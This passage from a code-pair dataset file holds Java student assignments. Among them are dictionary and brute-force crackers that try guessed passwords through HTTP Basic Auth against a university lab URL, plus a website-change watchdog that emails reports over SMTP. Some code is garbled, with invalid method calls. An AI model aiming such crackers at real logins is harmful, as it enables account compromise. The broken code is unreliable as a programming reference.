\ casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ |
|
|
\ + Character.toLowerCase(password[2]);\n casedPasswords[4] = Character.toUpperCase(password[0])\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\ |
|
|
\ casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ |
|
|
\ + Character.toLowerCase(password[2]);\n casedPasswords[6] = Character.toUpperCase(password[0])\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\ |
|
|
\ casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ |
|
|
\ + Character.toUpperCase(password[2]);\n \n }\n else\ |
|
|
\ if (candidate.length() > 3)\n {\n casedPasswords = new String[8];\n\ |
|
|
\ String tailCharacters = new String(password, 3, (password.length\ |
|
|
\ - 3));\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]))\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\ |
|
|
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[2] = Character.toString(Character.toLowerCase(password[0]))\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[3] = Character.toString(Character.toLowerCase(password[0]))\ |
|
|
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[4] = Character.toString(Character.toUpperCase(password[0]))\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[5] = Character.toString(Character.toUpperCase(password[0]))\ |
|
|
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[6] = Character.toString(Character.toUpperCase(password[0]))\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ |
|
|
\ + tailCharacters;\n casedPasswords[7] = Character.toString(Character.toLowerCase(password[0]))\ |
|
|
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ |
|
|
\ + tailCharacters;\n \n }\n \n\t if(verbose == CrackingConstants.verboseMode2)\n\ |
|
|
\t printPasswords(casedPasswords);\n\n return casedPasswords;\n\ |
|
|
\ }\n \n \n\t\n private void printPasswords(String [] passwords)\n\ |
|
|
\ {\n if(passwords.length > 0)\n {\n for( i = 0; i\ |
|
|
\ < passwords.length; i++)\t\n {\n System.out.print(passwords[i]\ |
|
|
\ + \"\\t\");\n }\n System.out.println(\"\\n\");\n \ |
|
|
\ }\n } \n \n} \n" |
|
|
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ |
|
|
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ |
|
|
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ |
|
|
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\ |
|
|
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ |
|
|
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ |
|
|
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ |
|
|
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ |
|
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
|
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ |
|
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
|
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ |
|
|
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ |
|
|
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ |
|
|
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ |
|
|
\ dictionary word and waiting for URL reply....... \");\n String currentword\ |
|
|
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ |
|
|
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ |
|
|
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ |
|
|
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ |
|
|
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ |
|
|
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ |
|
|
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\ |
|
|
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ |
|
|
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ |
|
|
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
|
|
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
|
|
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ |
|
|
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ |
|
|
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ |
|
|
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\ |
|
|
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ |
|
|
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ |
|
|
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
|
|
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
|
|
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\ |
|
|
\ 1;\n }\n else\n b3 = bytes [i++];\n \ |
|
|
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ |
|
|
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ |
|
|
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ |
|
|
\ encodedString += base64Array [c2];\n switch (pad) {\n case\ |
|
|
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\ |
|
|
\ base64Array [c4];\n break;\n case 1:\n encodedString\ |
|
|
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ |
|
|
\ case 2:\n encodedString += \"==\";\n break;\n \ |
|
|
\ }\n }\n return encodedString;\n }\n }\n\n" |
|
|
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ |
|
|
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ |
|
|
\ status = false;\n\n public static void main (String args[]){\n Dictionary\ |
|
|
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ |
|
|
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ |
|
|
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ |
|
|
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ |
|
|
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ |
|
|
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ |
|
|
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ |
|
|
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ |
|
|
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ |
|
|
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ |
|
|
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ |
|
|
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ |
|
|
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ |
|
|
\ status = true;\n }\n }\n catch (IOException e)\ |
|
|
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ |
|
|
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
|
|
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
|
|
\ String userNamePasswordBase64(String username, String password) {\n return\ |
|
|
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
|
|
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
|
|
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
|
|
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
|
|
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
|
|
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
|
|
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
|
|
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
|
|
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
|
|
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
|
|
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
|
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
|
|
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
|
|
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
|
|
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
|
|
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
|
|
sentences: |
|
|
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\ |
|
|
\ WatchDog extends TimerTask{\n\n private static URL location;\n private static\ |
|
|
\ String email;\n private static int checktime;\n private static Timer timer\ |
|
|
\ = new Timer();\n private BufferedReader input;\n private File checksumFile\ |
|
|
\ = new File(\"chksum.txt\");\n private File temp0000File = new File(\"temp0000\"\ |
|
|
);\n private File kept0000File = new File(\"kept0000\");\n\n \n\n public\ |
|
|
\ WatchDog(){\n timer.schedule(this, new Date(), checktime);\n }\n\n\n\ |
|
|
\ \n\n public void run(){\n Vector imageFiles = new Vector();\n\ |
|
|
\ Vector diffImages = new Vector();\n try {\n System.out.println(\"\ |
|
|
\ Time: \".concat(new Date().toString()));\n System.out.println(\"Retreiving\ |
|
|
\ File\");\n \n input = new BufferedReader(new InputStreamReader\n\ |
|
|
\ (location.openStream()));\n \n\ |
|
|
\ BufferedWriter outputFile = new BufferedWriter\n (new\ |
|
|
\ FileWriter(temp0000File));\n String line = input.readLine();\n \ |
|
|
\ while (line != null) {\n StringBuffer imageFileName = new StringBuffer();\n\ |
|
|
\ if (scanForImages(line, imageFileName)) {\n String imageFile\ |
|
|
\ = new String(imageFileName);\n System.out.println(\"Detected image:\ |
|
|
\ \".concat(imageFile));\n try {\n imageFiles.add(new\ |
|
|
\ URL(imageFile));\n }\n catch (MalformedURLException\ |
|
|
\ e) {\n System.out.println(\"Image file detected. URL is malformed\"\ |
|
|
);\n }\n }\n outputFile.write(line);\n \ |
|
|
\ outputFile.write(\"\\n\");\n line = input.readLine();\n \ |
|
|
\ }\n input.print();\n outputFile.flush();\n \ |
|
|
\ outputFile.print();\n System.out.println(\" File Retreived\");\n \ |
|
|
\ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\ |
|
|
\ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\ |
|
|
\ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\ |
|
|
\ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\ |
|
|
\ generateChecksum(temp0000File.getName(), checksumFile);\n \ |
|
|
\ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\ |
|
|
\ null, null, diffImages);\n }\n }\n\n \n \ |
|
|
\ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\ |
|
|
\ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\ |
|
|
\ e) {\n e.printStackTrace();\n }\n catch (ConnectException\ |
|
|
\ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\ |
|
|
\ }\n catch (IOException e) {\n e.printStackTrace();\n\ |
|
|
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\ |
|
|
\ scanForImages(String line, StringBuffer imageFileName) {\n \n \ |
|
|
\ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\ |
|
|
\ lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n \ |
|
|
\ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos\ |
|
|
\ = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos\ |
|
|
\ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\ |
|
|
\\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\ |
|
|
, quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \ |
|
|
\ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \ |
|
|
\ \n imageFileName.append(line.substring(quote1Pos + 1,\n \ |
|
|
\ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\ |
|
|
\ ) {\n \n String URLName = location.toString();\n\ |
|
|
\ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\ |
|
|
\ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\ |
|
|
.concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\ |
|
|
) == 0) {\n \n }\n else if (imageFileName.charAt(0)\ |
|
|
\ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\ |
|
|
/\"));\n }\n else {\n \n \ |
|
|
\ imageFileName.insert(0, HostName);\n }\n \ |
|
|
\ }\n return true;\n }\n }\n }\n \ |
|
|
\ return false;\n }\n\n \n\n public void checkImages(Vector\ |
|
|
\ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\ |
|
|
Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\ |
|
|
\ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\ |
|
|
\ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\ |
|
|
\ imageInput = new BufferedInputStream\n (url.openStream());\n\ |
|
|
\ String localFile = url.getFile();\n \n \n \ |
|
|
\ \n \n \n int slashPosition = localFile.lastIndexOf(\"\ |
|
|
/\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\ |
|
|
\ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\ |
|
|
\ BufferedOutputStream imageOutput = new BufferedOutputStream\n \ |
|
|
\ (new FileOutputStream(localFile));\n byte bytes[] = new\ |
|
|
\ byte[10000];\n int noBytes = imageInput.get(bytes);\n \ |
|
|
\ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\ |
|
|
\ noBytes = imageInput.print(bytes);\n }\n \ |
|
|
\ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \ |
|
|
\ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\ |
|
|
\ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\ |
|
|
\ {\n diffImages.add(localFile);\n generateChecksum(localFile,\ |
|
|
\ imageChecksumFile);\n }\n }\n }\n \ |
|
|
\ catch (FileNotFoundException e) {\n System.out.println(\"Unable \ |
|
|
\ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\ |
|
|
\ \n\n public void generateChecksum(String inputFile, File checksum){\n\ |
|
|
\ try {\n System.out.println(\"Generating new checksum for \"\ |
|
|
.concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\ |
|
|
md5sum \".\n concat(inputFile));\n\ |
|
|
\ BufferedReader execCommand = new BufferedReader(new\n \ |
|
|
\ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\ |
|
|
\ = new\n BufferedWriter(new FileWriter(checksum));\n String\ |
|
|
\ line = execCommand.readLine();\n while (line != null) {\n \ |
|
|
\ outputFile.write(line);\n outputFile.write(\"\\n\");\n \ |
|
|
\ line = execCommand.readLine();\n }\n outputFile.flush();\n\ |
|
|
\ outputFile.print();\n System.out.println(\"Checksum produced\"\ |
|
|
);\n }\n catch (IOException e) {\n e.printStackTrace();\n\ |
|
|
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\ |
|
|
\ checksumOk(File chksumFile){\n try {\n System.out.println(\"\ |
|
|
Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n\ |
|
|
\ \n Process process = Runtime.getRuntime().\n \ |
|
|
\ exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader\ |
|
|
\ execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n\ |
|
|
\ String line = execCommand.readLine();\n if (line.indexOf(\"\ |
|
|
: OK\") != -1) {\n System.out.println(\" the same\");\n \ |
|
|
\ return true;\n }\n }\n catch (IOException e) {\n \ |
|
|
\ e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"\ |
|
|
Differences Found\");\n return false;\n }\n\n \n\n public\ |
|
|
\ void reportDifferences(boolean diffsFound, File file1, File file2,\n \ |
|
|
\ Vector images){\n try {\n System.out.println(\"\ |
|
|
Generating difference report\");\n \n Socket emailConnection\ |
|
|
\ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream\ |
|
|
\ = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n\ |
|
|
\ BufferedReader emailInStream = new BufferedReader\n (new\ |
|
|
\ InputStreamReader(emailConnection.getInputStream()));\n String line\ |
|
|
\ = emailInStream.readLine();\n System.out.println(line);\n \ |
|
|
\ if (!line.startsWith(\"220\")) {\n System.out.println\n \ |
|
|
\ (\" error occured connecting email server. Cannot send email.\");\n\ |
|
|
\ }\n else {\n \n \n emailOutStream.write(\"\ |
|
|
HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n \ |
|
|
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\ |
|
|
\ System.out.println(line);\n if (!line.startsWith(\"250\"\ |
|
|
)) {\n System.out.println\n (\" error occured\ |
|
|
\ connecting email server. Cannot send email.\");\n }\n \ |
|
|
\ else {\n emailOutStream.write(\"MAIL FROM: [email protected].\"\ |
|
|
);\n emailOutStream.newLine();\n emailOutStream.flush();\n\ |
|
|
\ line = emailInStream.readLine();\n System.out.println(line);\n\ |
|
|
\ if (!line.startsWith(\"250\")) {\n System.out.println\n\ |
|
|
\ (\" error occured sending email. Cannot send email.\");\n\ |
|
|
\ }\n else {\n emailOutStream.write(\"\ |
|
|
RCPT : \".concat(email));\n emailOutStream.newLine();\n \ |
|
|
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\ |
|
|
\ System.out.println(line);\n if (!line.startsWith(\"\ |
|
|
250\")) {\n System.out.println\n (\" error\ |
|
|
\ occured sending email. Cannot send email.\");\n }\n \ |
|
|
\ else {\n emailOutStream.write(\"DATA\");\n \ |
|
|
\ emailOutStream.newLine();\n emailOutStream.flush();\n\ |
|
|
\ line = emailInStream.readLine();\n System.out.println(line);\n\ |
|
|
\ if (!line.startsWith(\"354\")) {\n System.out.println\n\ |
|
|
\ (\" error occured sending email. Cannot send email.\"\ |
|
|
);\n }\n emailOutStream.newLine();\n\n \ |
|
|
\ if (!images.isEmpty()) {\n emailOutStream.write\n\ |
|
|
\ (\"Differences were found in the following image \"\ |
|
|
);\n emailOutStream.newLine();\n Enumeration\ |
|
|
\ e = images.elements();\n while (e.hasMoreElements()) {\n\ |
|
|
\ String s = (String) e.nextElement();\n \ |
|
|
\ emailOutStream.write(s);\n emailOutStream.newLine();\n\ |
|
|
\ }\n emailOutStream.newLine();\n \ |
|
|
\ }\n\n if (diffsFound) {\n \ |
|
|
\ \n String command = \"diff \".concat(file1.getName().concat(\"\ |
|
|
\ \")\n .concat(file2.getName()));\n\ |
|
|
\ Process process = Runtime.getRuntime().exec(command);\n \ |
|
|
\ BufferedReader execCommand = new BufferedReader\n \ |
|
|
\ (new InputStreamReader( (process.getInputStream())));\n \ |
|
|
\ line = execCommand.readLine();\n emailOutStream.write(\"\ |
|
|
Diffences found in file\");\n emailOutStream.newLine();\n\ |
|
|
\ while (line != null) {\n System.out.println(line);\n\ |
|
|
\ emailOutStream.write(line);\n emailOutStream.newLine();\n\ |
|
|
\ line = execCommand.readLine();\n }\n\ |
|
|
\ }\n\n \n emailOutStream.newLine();\n\ |
|
|
\ emailOutStream.write(\".\");\n emailOutStream.newLine();\n\ |
|
|
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\ |
|
|
\ System.out.println(line);\n if (!line.startsWith(\"\ |
|
|
250\")) {\n System.out.println\n (\"\ |
|
|
\ error occured sending email. Cannot send email.\");\n }\n \ |
|
|
\ else {\n emailOutStream.write(\"QUIT\");\n\ |
|
|
\ emailOutStream.newLine();\n emailOutStream.flush();\n\ |
|
|
\ System.out.println(emailInStream.readLine());\n \ |
|
|
\ }\n }\n }\n }\n }\n\ |
|
|
\ }\n catch (IOException e) {\n e.printStackTrace();\n\ |
|
|
\ System.exit(-1);\n }\n }\n\n\n \n\n public static\ |
|
|
\ void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"\ |
|
|
Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n\ |
|
|
\ }\n try {\n location = new URL(args[0]);\n }\n catch\ |
|
|
\ (MalformedURLException e) {\n e.printStackTrace();\n }\n email\ |
|
|
\ = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2])\ |
|
|
\ * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n" |
|
|
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\ |
|
|
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ |
|
|
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\ |
|
|
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ |
|
|
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ |
|
|
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\ |
|
|
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\ |
|
|
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\ |
|
|
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\ |
|
|
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\ |
|
|
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\ |
|
|
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\ |
|
|
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\ |
|
|
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\ |
|
|
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\ |
|
|
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\ |
|
|
\ = in.readLine()) != null) {\n System.out.println(line);\n \ |
|
|
\ status = true;\n }\n }\n catch (IOException e) {\n \n\ |
|
|
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\ |
|
|
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
|
|
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
|
|
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
|
|
\ String userNamePasswordBase64(String username, String password) {\n return\ |
|
|
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
|
|
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\ |
|
|
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\ |
|
|
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \ |
|
|
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\ |
|
|
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\ |
|
|
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
|
|
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
|
|
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
|
|
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
|
|
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
|
|
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
|
|
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
|
|
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
|
|
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
|
|
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
|
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
|
|
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
|
|
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
|
|
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
|
|
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
|
|
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ |
|
|
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ |
|
|
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ |
|
|
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\ |
|
|
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ |
|
|
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ |
|
|
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ |
|
|
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ |
|
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
|
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ |
|
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
|
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ |
|
|
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ |
|
|
